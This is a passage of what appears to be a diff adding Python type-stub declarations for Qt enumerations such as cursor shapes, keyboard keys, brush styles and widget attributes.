# type: Qt.ToolBarArea + AllToolBarAreas = ... # type: Qt.ToolBarArea + NoToolBarArea = ... # type: Qt.ToolBarArea + + class TimerType(int): + PreciseTimer = ... # type: Qt.TimerType + CoarseTimer = ... # type: Qt.TimerType + VeryCoarseTimer = ... # type: Qt.TimerType + + class DockWidgetArea(int): + LeftDockWidgetArea = ... # type: Qt.DockWidgetArea + RightDockWidgetArea = ... # type: Qt.DockWidgetArea + TopDockWidgetArea = ... # type: Qt.DockWidgetArea + BottomDockWidgetArea = ... # type: Qt.DockWidgetArea + DockWidgetArea_Mask = ... # type: Qt.DockWidgetArea + AllDockWidgetAreas = ... # type: Qt.DockWidgetArea + NoDockWidgetArea = ... # type: Qt.DockWidgetArea + + class AspectRatioMode(int): + IgnoreAspectRatio = ... # type: Qt.AspectRatioMode + KeepAspectRatio = ... # type: Qt.AspectRatioMode + KeepAspectRatioByExpanding = ... # type: Qt.AspectRatioMode + + class TextFormat(int): + PlainText = ... # type: Qt.TextFormat + RichText = ... # type: Qt.TextFormat + AutoText = ... # type: Qt.TextFormat + MarkdownText = ... # type: Qt.TextFormat + + class CursorShape(int): + ArrowCursor = ... # type: Qt.CursorShape + UpArrowCursor = ... # type: Qt.CursorShape + CrossCursor = ... # type: Qt.CursorShape + WaitCursor = ... # type: Qt.CursorShape + IBeamCursor = ... # type: Qt.CursorShape + SizeVerCursor = ... # type: Qt.CursorShape + SizeHorCursor = ... # type: Qt.CursorShape + SizeBDiagCursor = ... # type: Qt.CursorShape + SizeFDiagCursor = ... # type: Qt.CursorShape + SizeAllCursor = ... # type: Qt.CursorShape + BlankCursor = ... # type: Qt.CursorShape + SplitVCursor = ... # type: Qt.CursorShape + SplitHCursor = ... # type: Qt.CursorShape + PointingHandCursor = ... # type: Qt.CursorShape + ForbiddenCursor = ... # type: Qt.CursorShape + OpenHandCursor = ... # type: Qt.CursorShape + ClosedHandCursor = ... # type: Qt.CursorShape + WhatsThisCursor = ... # type: Qt.CursorShape + BusyCursor = ... # type: Qt.CursorShape + LastCursor = ... # type: Qt.CursorShape + BitmapCursor = ... # type: Qt.CursorShape + CustomCursor = ... # type: Qt.CursorShape + DragCopyCursor = ... # type: Qt.CursorShape + DragMoveCursor = ... # type: Qt.CursorShape + DragLinkCursor = ... # type: Qt.CursorShape + + class UIEffect(int): + UI_General = ... # type: Qt.UIEffect + UI_AnimateMenu = ... # type: Qt.UIEffect + UI_FadeMenu = ... # type: Qt.UIEffect + UI_AnimateCombo = ... # type: Qt.UIEffect + UI_AnimateTooltip = ... # type: Qt.UIEffect + UI_FadeTooltip = ... # type: Qt.UIEffect + UI_AnimateToolBox = ... # type: Qt.UIEffect + + class BrushStyle(int): + NoBrush = ... # type: Qt.BrushStyle + SolidPattern = ... # type: Qt.BrushStyle + Dense1Pattern = ... # type: Qt.BrushStyle + Dense2Pattern = ... # type: Qt.BrushStyle + Dense3Pattern = ... # type: Qt.BrushStyle + Dense4Pattern = ... # type: Qt.BrushStyle + Dense5Pattern = ... # type: Qt.BrushStyle + Dense6Pattern = ... # type: Qt.BrushStyle + Dense7Pattern = ... # type: Qt.BrushStyle + HorPattern = ... # type: Qt.BrushStyle + VerPattern = ... # type: Qt.BrushStyle + CrossPattern = ... # type: Qt.BrushStyle + BDiagPattern = ... # type: Qt.BrushStyle + FDiagPattern = ... # type: Qt.BrushStyle + DiagCrossPattern = ... # type: Qt.BrushStyle + LinearGradientPattern = ... # type: Qt.BrushStyle + RadialGradientPattern = ... # type: Qt.BrushStyle + ConicalGradientPattern = ... # type: Qt.BrushStyle + TexturePattern = ... # type: Qt.BrushStyle + + class PenJoinStyle(int): + MiterJoin = ... # type: Qt.PenJoinStyle + BevelJoin = ... # type: Qt.PenJoinStyle + RoundJoin = ... # type: Qt.PenJoinStyle + MPenJoinStyle = ... # type: Qt.PenJoinStyle + SvgMiterJoin = ... # type: Qt.PenJoinStyle + + class PenCapStyle(int): + FlatCap = ... # type: Qt.PenCapStyle + SquareCap = ... # type: Qt.PenCapStyle + RoundCap = ... # type: Qt.PenCapStyle + MPenCapStyle = ... # type: Qt.PenCapStyle + + class PenStyle(int): + NoPen = ... # type: Qt.PenStyle + SolidLine = ... # type: Qt.PenStyle + DashLine = ... # type: Qt.PenStyle + DotLine = ... # type: Qt.PenStyle + DashDotLine = ... # type: Qt.PenStyle + DashDotDotLine = ... # type: Qt.PenStyle + CustomDashLine = ... # type: Qt.PenStyle + MPenStyle = ... # type: Qt.PenStyle + + class ArrowType(int): + NoArrow = ... # type: Qt.ArrowType + UpArrow = ... # type: Qt.ArrowType + DownArrow = ... # type: Qt.ArrowType + LeftArrow = ... # type: Qt.ArrowType + RightArrow = ... # type: Qt.ArrowType + + class Key(int): + Key_Escape = ... # type: Qt.Key + Key_Tab = ... # type: Qt.Key + Key_Backtab = ... # type: Qt.Key + Key_Backspace = ... # type: Qt.Key + Key_Return = ... # type: Qt.Key + Key_Enter = ... # type: Qt.Key + Key_Insert = ... # type: Qt.Key + Key_Delete = ... # type: Qt.Key + Key_Pause = ... # type: Qt.Key + Key_Print = ... # type: Qt.Key + Key_SysReq = ... # type: Qt.Key + Key_Clear = ... # type: Qt.Key + Key_Home = ... # type: Qt.Key + Key_End = ... # type: Qt.Key + Key_Left = ... # type: Qt.Key + Key_Up = ... # type: Qt.Key + Key_Right = ... # type: Qt.Key + Key_Down = ... # type: Qt.Key + Key_PageUp = ... # type: Qt.Key + Key_PageDown = ... # type: Qt.Key + Key_Shift = ... # type: Qt.Key + Key_Control = ... # type: Qt.Key + Key_Meta = ... # type: Qt.Key + Key_Alt = ... # type: Qt.Key + Key_CapsLock = ... # type: Qt.Key + Key_NumLock = ... # type: Qt.Key + Key_ScrollLock = ... # type: Qt.Key + Key_F1 = ... # type: Qt.Key + Key_F2 = ... # type: Qt.Key + Key_F3 = ... # type: Qt.Key + Key_F4 = ... # type: Qt.Key + Key_F5 = ... # type: Qt.Key + Key_F6 = ... # type: Qt.Key + Key_F7 = ... # type: Qt.Key + Key_F8 = ... # type: Qt.Key + Key_F9 = ... # type: Qt.Key + Key_F10 = ... # type: Qt.Key + Key_F11 = ... # type: Qt.Key + Key_F12 = ... # type: Qt.Key + Key_F13 = ... # type: Qt.Key + Key_F14 = ... # type: Qt.Key + Key_F15 = ... # type: Qt.Key + Key_F16 = ... # type: Qt.Key + Key_F17 = ... # type: Qt.Key + Key_F18 = ... # type: Qt.Key + Key_F19 = ... # type: Qt.Key + Key_F20 = ... # type: Qt.Key + Key_F21 = ... # type: Qt.Key + Key_F22 = ... # type: Qt.Key + Key_F23 = ... # type: Qt.Key + Key_F24 = ... # type: Qt.Key + Key_F25 = ... # type: Qt.Key + Key_F26 = ... # type: Qt.Key + Key_F27 = ... # type: Qt.Key + Key_F28 = ... # type: Qt.Key + Key_F29 = ... # type: Qt.Key + Key_F30 = ... # type: Qt.Key + Key_F31 = ... # type: Qt.Key + Key_F32 = ... # type: Qt.Key + Key_F33 = ... # type: Qt.Key + Key_F34 = ... # type: Qt.Key + Key_F35 = ... # type: Qt.Key + Key_Super_L = ... # type: Qt.Key + Key_Super_R = ... # type: Qt.Key + Key_Menu = ... # type: Qt.Key + Key_Hyper_L = ... # type: Qt.Key + Key_Hyper_R = ... # type: Qt.Key + Key_Help = ... # type: Qt.Key + Key_Direction_L = ... # type: Qt.Key + Key_Direction_R = ... # type: Qt.Key + Key_Space = ... # type: Qt.Key + Key_Any = ... # type: Qt.Key + Key_Exclam = ... # type: Qt.Key + Key_QuoteDbl = ... # type: Qt.Key + Key_NumberSign = ... # type: Qt.Key + Key_Dollar = ... # type: Qt.Key + Key_Percent = ... # type: Qt.Key + Key_Ampersand = ... # type: Qt.Key + Key_Apostrophe = ... # type: Qt.Key + Key_ParenLeft = ... # type: Qt.Key + Key_ParenRight = ... # type: Qt.Key + Key_Asterisk = ... # type: Qt.Key + Key_Plus = ... # type: Qt.Key + Key_Comma = ... # type: Qt.Key + Key_Minus = ... # type: Qt.Key + Key_Period = ... # type: Qt.Key + Key_Slash = ... # type: Qt.Key + Key_0 = ... # type: Qt.Key + Key_1 = ... # type: Qt.Key + Key_2 = ... # type: Qt.Key + Key_3 = ... # type: Qt.Key + Key_4 = ... # type: Qt.Key + Key_5 = ... # type: Qt.Key + Key_6 = ... # type: Qt.Key + Key_7 = ... # type: Qt.Key + Key_8 = ... # type: Qt.Key + Key_9 = ... # type: Qt.Key + Key_Colon = ... # type: Qt.Key + Key_Semicolon = ... # type: Qt.Key + Key_Less = ... # type: Qt.Key + Key_Equal = ... # type: Qt.Key + Key_Greater = ... # type: Qt.Key + Key_Question = ... # type: Qt.Key + Key_At = ... # type: Qt.Key + Key_A = ... # type: Qt.Key + Key_B = ... # type: Qt.Key + Key_C = ... # type: Qt.Key + Key_D = ... # type: Qt.Key + Key_E = ... # type: Qt.Key + Key_F = ... # type: Qt.Key + Key_G = ... # type: Qt.Key + Key_H = ... # type: Qt.Key + Key_I = ... # type: Qt.Key + Key_J = ... # type: Qt.Key + Key_K = ... # type: Qt.Key + Key_L = ... # type: Qt.Key + Key_M = ... # type: Qt.Key + Key_N = ... # type: Qt.Key + Key_O = ... # type: Qt.Key + Key_P = ... # type: Qt.Key + Key_Q = ... # type: Qt.Key + Key_R = ... # type: Qt.Key + Key_S = ... # type: Qt.Key + Key_T = ... # type: Qt.Key + Key_U = ... # type: Qt.Key + Key_V = ... # type: Qt.Key + Key_W = ... # type: Qt.Key + Key_X = ... # type: Qt.Key + Key_Y = ... # type: Qt.Key + Key_Z = ... # type: Qt.Key + Key_BracketLeft = ... # type: Qt.Key + Key_Backslash = ... # type: Qt.Key + Key_BracketRight = ... # type: Qt.Key + Key_AsciiCircum = ... # type: Qt.Key + Key_Underscore = ... # type: Qt.Key + Key_QuoteLeft = ... # type: Qt.Key + Key_BraceLeft = ... # type: Qt.Key + Key_Bar = ... # type: Qt.Key + Key_BraceRight = ... # type: Qt.Key + Key_AsciiTilde = ... # type: Qt.Key + Key_nobreakspace = ... # type: Qt.Key + Key_exclamdown = ... # type: Qt.Key + Key_cent = ... # type: Qt.Key + Key_sterling = ... # type: Qt.Key + Key_currency = ... # type: Qt.Key + Key_yen = ... # type: Qt.Key + Key_brokenbar = ... # type: Qt.Key + Key_section = ... # type: Qt.Key + Key_diaeresis = ... # type: Qt.Key + Key_copyright = ... # type: Qt.Key + Key_ordfeminine = ... # type: Qt.Key + Key_guillemotleft = ... # type: Qt.Key + Key_notsign = ... # type: Qt.Key + Key_hyphen = ... # type: Qt.Key + Key_registered = ... # type: Qt.Key + Key_macron = ... # type: Qt.Key + Key_degree = ... # type: Qt.Key + Key_plusminus = ... # type: Qt.Key + Key_twosuperior = ... # type: Qt.Key + Key_threesuperior = ... # type: Qt.Key + Key_acute = ... # type: Qt.Key + Key_mu = ... # type: Qt.Key + Key_paragraph = ... # type: Qt.Key + Key_periodcentered = ... # type: Qt.Key + Key_cedilla = ... # type: Qt.Key + Key_onesuperior = ... # type: Qt.Key + Key_masculine = ... # type: Qt.Key + Key_guillemotright = ... # type: Qt.Key + Key_onequarter = ... # type: Qt.Key + Key_onehalf = ... # type: Qt.Key + Key_threequarters = ... # type: Qt.Key + Key_questiondown = ... # type: Qt.Key + Key_Agrave = ... # type: Qt.Key + Key_Aacute = ... # type: Qt.Key + Key_Acircumflex = ... # type: Qt.Key + Key_Atilde = ... # type: Qt.Key + Key_Adiaeresis = ... # type: Qt.Key + Key_Aring = ... # type: Qt.Key + Key_AE = ... # type: Qt.Key + Key_Ccedilla = ... # type: Qt.Key + Key_Egrave = ... # type: Qt.Key + Key_Eacute = ... # type: Qt.Key + Key_Ecircumflex = ... # type: Qt.Key + Key_Ediaeresis = ... # type: Qt.Key + Key_Igrave = ... # type: Qt.Key + Key_Iacute = ... # type: Qt.Key + Key_Icircumflex = ... # type: Qt.Key + Key_Idiaeresis = ... # type: Qt.Key + Key_ETH = ... # type: Qt.Key + Key_Ntilde = ... # type: Qt.Key + Key_Ograve = ... # type: Qt.Key + Key_Oacute = ... # type: Qt.Key + Key_Ocircumflex = ... # type: Qt.Key + Key_Otilde = ... # type: Qt.Key + Key_Odiaeresis = ... # type: Qt.Key + Key_multiply = ... # type: Qt.Key + Key_Ooblique = ... # type: Qt.Key + Key_Ugrave = ... # type: Qt.Key + Key_Uacute = ... # type: Qt.Key + Key_Ucircumflex = ... # type: Qt.Key + Key_Udiaeresis = ... # type: Qt.Key + Key_Yacute = ... # type: Qt.Key + Key_THORN = ... # type: Qt.Key + Key_ssharp = ... # type: Qt.Key + Key_division = ... # type: Qt.Key + Key_ydiaeresis = ... # type: Qt.Key + Key_AltGr = ... # type: Qt.Key + Key_Multi_key = ... # type: Qt.Key + Key_Codeinput = ... # type: Qt.Key + Key_SingleCandidate = ... # type: Qt.Key + Key_MultipleCandidate = ... # type: Qt.Key + Key_PreviousCandidate = ... # type: Qt.Key + Key_Mode_switch = ... # type: Qt.Key + Key_Kanji = ... # type: Qt.Key + Key_Muhenkan = ... # type: Qt.Key + Key_Henkan = ... # type: Qt.Key + Key_Romaji = ... # type: Qt.Key + Key_Hiragana = ... # type: Qt.Key + Key_Katakana = ... # type: Qt.Key + Key_Hiragana_Katakana = ... # type: Qt.Key + Key_Zenkaku = ... # type: Qt.Key + Key_Hankaku = ... # type: Qt.Key + Key_Zenkaku_Hankaku = ... # type: Qt.Key + Key_Touroku = ... # type: Qt.Key + Key_Massyo = ... # type: Qt.Key + Key_Kana_Lock = ... # type: Qt.Key + Key_Kana_Shift = ... # type: Qt.Key + Key_Eisu_Shift = ... # type: Qt.Key + Key_Eisu_toggle = ... # type: Qt.Key + Key_Hangul = ... # type: Qt.Key + Key_Hangul_Start = ... # type: Qt.Key + Key_Hangul_End = ... # type: Qt.Key + Key_Hangul_Hanja = ... # type: Qt.Key + Key_Hangul_Jamo = ... # type: Qt.Key + Key_Hangul_Romaja = ... # type: Qt.Key + Key_Hangul_Jeonja = ... # type: Qt.Key + Key_Hangul_Banja = ... # type: Qt.Key + Key_Hangul_PreHanja = ... # type: Qt.Key + Key_Hangul_PostHanja = ... # type: Qt.Key + Key_Hangul_Special = ... # type: Qt.Key + Key_Dead_Grave = ... # type: Qt.Key + Key_Dead_Acute = ... # type: Qt.Key + Key_Dead_Circumflex = ... # type: Qt.Key + Key_Dead_Tilde = ... # type: Qt.Key + Key_Dead_Macron = ... # type: Qt.Key + Key_Dead_Breve = ... # type: Qt.Key + Key_Dead_Abovedot = ... # type: Qt.Key + Key_Dead_Diaeresis = ... # type: Qt.Key + Key_Dead_Abovering = ... # type: Qt.Key + Key_Dead_Doubleacute = ... # type: Qt.Key + Key_Dead_Caron = ... # type: Qt.Key + Key_Dead_Cedilla = ... # type: Qt.Key + Key_Dead_Ogonek = ... # type: Qt.Key + Key_Dead_Iota = ... # type: Qt.Key + Key_Dead_Voiced_Sound = ... # type: Qt.Key + Key_Dead_Semivoiced_Sound = ... # type: Qt.Key + Key_Dead_Belowdot = ... # type: Qt.Key + Key_Dead_Hook = ... # type: Qt.Key + Key_Dead_Horn = ... # type: Qt.Key + Key_Back = ... # type: Qt.Key + Key_Forward = ... # type: Qt.Key + Key_Stop = ... # type: Qt.Key + Key_Refresh = ... # type: Qt.Key + Key_VolumeDown = ... # type: Qt.Key + Key_VolumeMute = ... # type: Qt.Key + Key_VolumeUp = ... # type: Qt.Key + Key_BassBoost = ... # type: Qt.Key + Key_BassUp = ... # type: Qt.Key + Key_BassDown = ... # type: Qt.Key + Key_TrebleUp = ... # type: Qt.Key + Key_TrebleDown = ... # type: Qt.Key + Key_MediaPlay = ... # type: Qt.Key + Key_MediaStop = ... # type: Qt.Key + Key_MediaPrevious = ... # type: Qt.Key + Key_MediaNext = ... # type: Qt.Key + Key_MediaRecord = ... # type: Qt.Key + Key_HomePage = ... # type: Qt.Key + Key_Favorites = ... # type: Qt.Key + Key_Search = ... # type: Qt.Key + Key_Standby = ... # type: Qt.Key + Key_OpenUrl = ... # type: Qt.Key + Key_LaunchMail = ... # type: Qt.Key + Key_LaunchMedia = ... # type: Qt.Key + Key_Launch0 = ... # type: Qt.Key + Key_Launch1 = ... # type: Qt.Key + Key_Launch2 = ... # type: Qt.Key + Key_Launch3 = ... # type: Qt.Key + Key_Launch4 = ... # type: Qt.Key + Key_Launch5 = ... # type: Qt.Key + Key_Launch6 = ... # type: Qt.Key + Key_Launch7 = ... # type: Qt.Key + Key_Launch8 = ... # type: Qt.Key + Key_Launch9 = ... # type: Qt.Key + Key_LaunchA = ... # type: Qt.Key + Key_LaunchB = ... # type: Qt.Key + Key_LaunchC = ... # type: Qt.Key + Key_LaunchD = ... # type: Qt.Key + Key_LaunchE = ... # type: Qt.Key + Key_LaunchF = ... # type: Qt.Key + Key_MediaLast = ... # type: Qt.Key + Key_Select = ... # type: Qt.Key + Key_Yes = ... # type: Qt.Key + Key_No = ... # type: Qt.Key + Key_Context1 = ... # type: Qt.Key + Key_Context2 = ... # type: Qt.Key + Key_Context3 = ... # type: Qt.Key + Key_Context4 = ... # type: Qt.Key + Key_Call = ... # type: Qt.Key + Key_Hangup = ... # type: Qt.Key + Key_Flip = ... # type: Qt.Key + Key_unknown = ... # type: Qt.Key + Key_Execute = ... # type: Qt.Key + Key_Printer = ... # type: Qt.Key + Key_Play = ... # type: Qt.Key + Key_Sleep = ... # type: Qt.Key + Key_Zoom = ... # type: Qt.Key + Key_Cancel = ... # type: Qt.Key + Key_MonBrightnessUp = ... # type: Qt.Key + Key_MonBrightnessDown = ... # type: Qt.Key + Key_KeyboardLightOnOff = ... # type: Qt.Key + Key_KeyboardBrightnessUp = ... # type: Qt.Key + Key_KeyboardBrightnessDown = ... # type: Qt.Key + Key_PowerOff = ... # type: Qt.Key + Key_WakeUp = ... # type: Qt.Key + Key_Eject = ... # type: Qt.Key + Key_ScreenSaver = ... # type: Qt.Key + Key_WWW = ... # type: Qt.Key + Key_Memo = ... # type: Qt.Key + Key_LightBulb = ... # type: Qt.Key + Key_Shop = ... # type: Qt.Key + Key_History = ... # type: Qt.Key + Key_AddFavorite = ... # type: Qt.Key + Key_HotLinks = ... # type: Qt.Key + Key_BrightnessAdjust = ... # type: Qt.Key + Key_Finance = ... # type: Qt.Key + Key_Community = ... # type: Qt.Key + Key_AudioRewind = ... # type: Qt.Key + Key_BackForward = ... # type: Qt.Key + Key_ApplicationLeft = ... # type: Qt.Key + Key_ApplicationRight = ... # type: Qt.Key + Key_Book = ... # type: Qt.Key + Key_CD = ... # type: Qt.Key + Key_Calculator = ... # type: Qt.Key + Key_ToDoList = ... # type: Qt.Key + Key_ClearGrab = ... # type: Qt.Key + Key_Close = ... # type: Qt.Key + Key_Copy = ... # type: Qt.Key + Key_Cut = ... # type: Qt.Key + Key_Display = ... # type: Qt.Key + Key_DOS = ... # type: Qt.Key + Key_Documents = ... # type: Qt.Key + Key_Excel = ... # type: Qt.Key + Key_Explorer = ... # type: Qt.Key + Key_Game = ... # type: Qt.Key + Key_Go = ... # type: Qt.Key + Key_iTouch = ... # type: Qt.Key + Key_LogOff = ... # type: Qt.Key + Key_Market = ... # type: Qt.Key + Key_Meeting = ... # type: Qt.Key + Key_MenuKB = ... # type: Qt.Key + Key_MenuPB = ... # type: Qt.Key + Key_MySites = ... # type: Qt.Key + Key_News = ... # type: Qt.Key + Key_OfficeHome = ... # type: Qt.Key + Key_Option = ... # type: Qt.Key + Key_Paste = ... # type: Qt.Key + Key_Phone = ... # type: Qt.Key + Key_Calendar = ... # type: Qt.Key + Key_Reply = ... # type: Qt.Key + Key_Reload = ... # type: Qt.Key + Key_RotateWindows = ... # type: Qt.Key + Key_RotationPB = ... # type: Qt.Key + Key_RotationKB = ... # type: Qt.Key + Key_Save = ... # type: Qt.Key + Key_Send = ... # type: Qt.Key + Key_Spell = ... # type: Qt.Key + Key_SplitScreen = ... # type: Qt.Key + Key_Support = ... # type: Qt.Key + Key_TaskPane = ... # type: Qt.Key + Key_Terminal = ... # type: Qt.Key + Key_Tools = ... # type: Qt.Key + Key_Travel = ... # type: Qt.Key + Key_Video = ... # type: Qt.Key + Key_Word = ... # type: Qt.Key + Key_Xfer = ... # type: Qt.Key + Key_ZoomIn = ... # type: Qt.Key + Key_ZoomOut = ... # type: Qt.Key + Key_Away = ... # type: Qt.Key + Key_Messenger = ... # type: Qt.Key + Key_WebCam = ... # type: Qt.Key + Key_MailForward = ... # type: Qt.Key + Key_Pictures = ... # type: Qt.Key + Key_Music = ... # type: Qt.Key + Key_Battery = ... # type: Qt.Key + Key_Bluetooth = ... # type: Qt.Key + Key_WLAN = ... # type: Qt.Key + Key_UWB = ... # type: Qt.Key + Key_AudioForward = ... # type: Qt.Key + Key_AudioRepeat = ... # type: Qt.Key + Key_AudioRandomPlay = ... # type: Qt.Key + Key_Subtitle = ... # type: Qt.Key + Key_AudioCycleTrack = ... # type: Qt.Key + Key_Time = ... # type: Qt.Key + Key_Hibernate = ... # type: Qt.Key + Key_View = ... # type: Qt.Key + Key_TopMenu = ... # type: Qt.Key + Key_PowerDown = ... # type: Qt.Key + Key_Suspend = ... # type: Qt.Key + Key_ContrastAdjust = ... # type: Qt.Key + Key_MediaPause = ... # type: Qt.Key + Key_MediaTogglePlayPause = ... # type: Qt.Key + Key_LaunchG = ... # type: Qt.Key + Key_LaunchH = ... # type: Qt.Key + Key_ToggleCallHangup = ... # type: Qt.Key + Key_VoiceDial = ... # type: Qt.Key + Key_LastNumberRedial = ... # type: Qt.Key + Key_Camera = ... # type: Qt.Key + Key_CameraFocus = ... # type: Qt.Key + Key_TouchpadToggle = ... # type: Qt.Key + Key_TouchpadOn = ... # type: Qt.Key + Key_TouchpadOff = ... # type: Qt.Key + Key_MicMute = ... # type: Qt.Key + Key_Red = ... # type: Qt.Key + Key_Green = ... # type: Qt.Key + Key_Yellow = ... # type: Qt.Key + Key_Blue = ... # type: Qt.Key + Key_ChannelUp = ... # type: Qt.Key + Key_ChannelDown = ... # type: Qt.Key + Key_Guide = ... # type: Qt.Key + Key_Info = ... # type: Qt.Key + Key_Settings = ... # type: Qt.Key + Key_Exit = ... # type: Qt.Key + Key_MicVolumeUp = ... # type: Qt.Key + Key_MicVolumeDown = ... # type: Qt.Key + Key_New = ... # type: Qt.Key + Key_Open = ... # type: Qt.Key + Key_Find = ... # type: Qt.Key + Key_Undo = ... # type: Qt.Key + Key_Redo = ... # type: Qt.Key + Key_Dead_Stroke = ... # type: Qt.Key + Key_Dead_Abovecomma = ... # type: Qt.Key + Key_Dead_Abovereversedcomma = ... # type: Qt.Key + Key_Dead_Doublegrave = ... # type: Qt.Key + Key_Dead_Belowring = ... # type: Qt.Key + Key_Dead_Belowmacron = ... # type: Qt.Key + Key_Dead_Belowcircumflex = ... # type: Qt.Key + Key_Dead_Belowtilde = ... # type: Qt.Key + Key_Dead_Belowbreve = ... # type: Qt.Key + Key_Dead_Belowdiaeresis = ... # type: Qt.Key + Key_Dead_Invertedbreve = ... # type: Qt.Key + Key_Dead_Belowcomma = ... # type: Qt.Key + Key_Dead_Currency = ... # type: Qt.Key + Key_Dead_a = ... # type: Qt.Key + Key_Dead_A = ... # type: Qt.Key + Key_Dead_e = ... # type: Qt.Key + Key_Dead_E = ... # type: Qt.Key + Key_Dead_i = ... # type: Qt.Key + Key_Dead_I = ... # type: Qt.Key + Key_Dead_o = ... # type: Qt.Key + Key_Dead_O = ... # type: Qt.Key + Key_Dead_u = ... # type: Qt.Key + Key_Dead_U = ... # type: Qt.Key + Key_Dead_Small_Schwa = ... # type: Qt.Key + Key_Dead_Capital_Schwa = ... # type: Qt.Key + Key_Dead_Greek = ... # type: Qt.Key + Key_Dead_Lowline = ... # type: Qt.Key + Key_Dead_Aboveverticalline = ... # type: Qt.Key + Key_Dead_Belowverticalline = ... # type: Qt.Key + Key_Dead_Longsolidusoverlay = ... # type: Qt.Key + + class BGMode(int): + TransparentMode = ... # type: Qt.BGMode + OpaqueMode = ... # type: Qt.BGMode + + class ImageConversionFlag(int): + AutoColor = ... # type: Qt.ImageConversionFlag + ColorOnly = ... # type: Qt.ImageConversionFlag + MonoOnly = ... # type: Qt.ImageConversionFlag + ThresholdAlphaDither = ... # type: Qt.ImageConversionFlag + OrderedAlphaDither = ... # type: Qt.ImageConversionFlag + DiffuseAlphaDither = ... # type: Qt.ImageConversionFlag + DiffuseDither = ... # type: Qt.ImageConversionFlag + OrderedDither = ... # type: Qt.ImageConversionFlag + ThresholdDither = ... # type: Qt.ImageConversionFlag + AutoDither = ... # type: Qt.ImageConversionFlag + PreferDither = ... # type: Qt.ImageConversionFlag + AvoidDither = ... # type: Qt.ImageConversionFlag + NoOpaqueDetection = ... # type: Qt.ImageConversionFlag + NoFormatConversion = ... # type: Qt.ImageConversionFlag + + class WidgetAttribute(int): + WA_Disabled = ... # type: Qt.WidgetAttribute + WA_UnderMouse = ... # type: Qt.WidgetAttribute + WA_MouseTracking = ... # type: Qt.WidgetAttribute + WA_OpaquePaintEvent = ... # type: Qt.WidgetAttribute + WA_StaticContents = ... # type: Qt.WidgetAttribute + WA_LaidOut = ... # type: Qt.WidgetAttribute + WA_PaintOnScreen = ... # type: Qt.WidgetAttribute + WA_NoSystemBackground = ... # type: Qt.WidgetAttribute + WA_UpdatesDisabled = ... # type: Qt.WidgetAttribute + WA_Mapped = ... # type: Qt.WidgetAttribute + WA_MacNoClickThrough = ... # type: Qt.WidgetAttribute + WA_InputMethodEnabled = ... # type: Qt.WidgetAttribute + WA_WState_Visible = ... # type: Qt.WidgetAttribute + WA_WState_Hidden = ... # type: Qt.WidgetAttribute + WA_ForceDisabled = ... # type: Qt.WidgetAttribute + WA_KeyCompression = ... # type: Qt.WidgetAttribute + WA_PendingMoveEvent = ... # type: Qt.WidgetAttribute + WA_PendingResizeEvent = ... # type: Qt.WidgetAttribute + WA_SetPalette = ... # type: Qt.WidgetAttribute + WA_SetFont = ... # type: Qt.WidgetAttribute + WA_SetCursor = ... # type: Qt.WidgetAttribute + WA_NoChildEventsFromChildren = ... # type: Qt.WidgetAttribute + WA_WindowModified = ... # type: Qt.WidgetAttribute + WA_Resized = ... # type: Qt.WidgetAttribute + WA_Moved = ... # type: Qt.WidgetAttribute + WA_PendingUpdate = ... # type: Qt.WidgetAttribute + WA_InvalidSize = ... # type: Qt.WidgetAttribute + WA_MacMetalStyle = ... # type: Qt.WidgetAttribute + WA_CustomWhatsThis = ... # type: Qt.WidgetAttribute + WA_LayoutOnEntireRect = ... # type: Qt.WidgetAttribute + WA_OutsideWSRange = ... # type: Qt.WidgetAttribute + WA_GrabbedShortcut = ... # type: Qt.WidgetAttribute + WA_TransparentForMouseEvents = ... # type: Qt.WidgetAttribute + WA_PaintUnclipped = ... # type: Qt.WidgetAttribute + WA_SetWindowIcon = ... # type: Qt.WidgetAttribute + WA_NoMouseReplay = ... # type: Qt.WidgetAttribute + WA_DeleteOnClose = ... # type: Qt.WidgetAttribute + WA_RightToLeft = ... # type: Qt.WidgetAttribute + WA_SetLayoutDirection = ... # type: Qt.WidgetAttribute + WA_NoChildEventsForParent = ... # type: Qt.WidgetAttribute + WA_ForceUpdatesDisabled = ... # type: Qt.WidgetAttribute + WA_WState_Created = ... # type: Qt.WidgetAttribute + WA_WState_CompressKeys = ... # type: Qt.WidgetAttribute + WA_WState_InPaintEvent = ... # type: Qt.WidgetAttribute + WA_WState_Reparented = ... # type: Qt.WidgetAttribute + WA_WState_ConfigPending = ... # type: Qt.WidgetAttribute + WA_WState_Polished = ... # type: Qt.WidgetAttribute + WA_WState_OwnSizePolicy = ... # type: Qt.WidgetAttribute + WA_WState_ExplicitShowHide = ... # type: Qt.WidgetAttribute + WA_MouseNoMask = ... # type: Qt.WidgetAttribute + WA_GroupLeader = ... # type: Qt.WidgetAttribute + WA_NoMousePropagation = ... # type: Qt.WidgetAttribute + WA_Hover = ... # type: Qt.WidgetAttribute + WA_InputMethodTransparent = ... # type: Qt.WidgetAttribute + WA_QuitOnClose = ... # type: Qt.WidgetAttribute + WA_KeyboardFocusChange = ... # type: Qt.WidgetAttribute + WA_AcceptDrops = ... # type: Qt.WidgetAttribute + WA_WindowPropagation = ... # type: Qt.WidgetAttribute + WA_NoX11EventCompression = ... # type: Qt.WidgetAttribute + WA_TintedBackground = ... # type: Qt.WidgetAttribute + WA_X11OpenGLOverlay = ... # type: Qt.WidgetAttribute + WA_AttributeCount = ... # type: Qt.WidgetAttribute + WA_AlwaysShowToolTips = ... # type: Qt.WidgetAttribute + WA_MacOpaqueSizeGrip = ... # type: Qt.WidgetAttribute + WA_SetStyle = ... # type: Qt.WidgetAttribute + WA_MacBrushedMetal = ... # type: Qt.WidgetAttribute + WA_SetLocale = ... # type: Qt.WidgetAttribute + WA_MacShowFocusRect = ... # type: Qt.WidgetAttribute + WA_MacNormalSize = ... # type: Qt.WidgetAttribute + WA_MacSmallSize = ... # type: Qt.WidgetAttribute + WA_MacMiniSize = ... # type: Qt.WidgetAttribute + WA_LayoutUsesWidgetRect = ... # type: Qt.WidgetAttribute + WA_StyledBackground = ... # type: Qt.WidgetAttribute + WA_MSWindowsUseDirect3D = ... # type: Qt.WidgetAttribute + WA_MacAlwaysShowToolWindow = ... # type: Qt.WidgetAttribute + WA_StyleSheet = ... # type: Qt.WidgetAttribute + WA_ShowWithoutActivating = ... # type: Qt.WidgetAttribute + WA_NativeWindow = ... # type: Qt.WidgetAttribute + WA_DontCreateNativeAncestors = ... # type: Qt.WidgetAttribute + WA_MacVariableSize = ... # type: Qt.WidgetAttribute + WA_DontShowOnScreen = ... # type: Qt.WidgetAttribute + WA_X11NetWmWindowTypeDesktop = ... # type: Qt.WidgetAttribute + WA_X11NetWmWindowTypeDock = ... # type: Qt.WidgetAttribute + 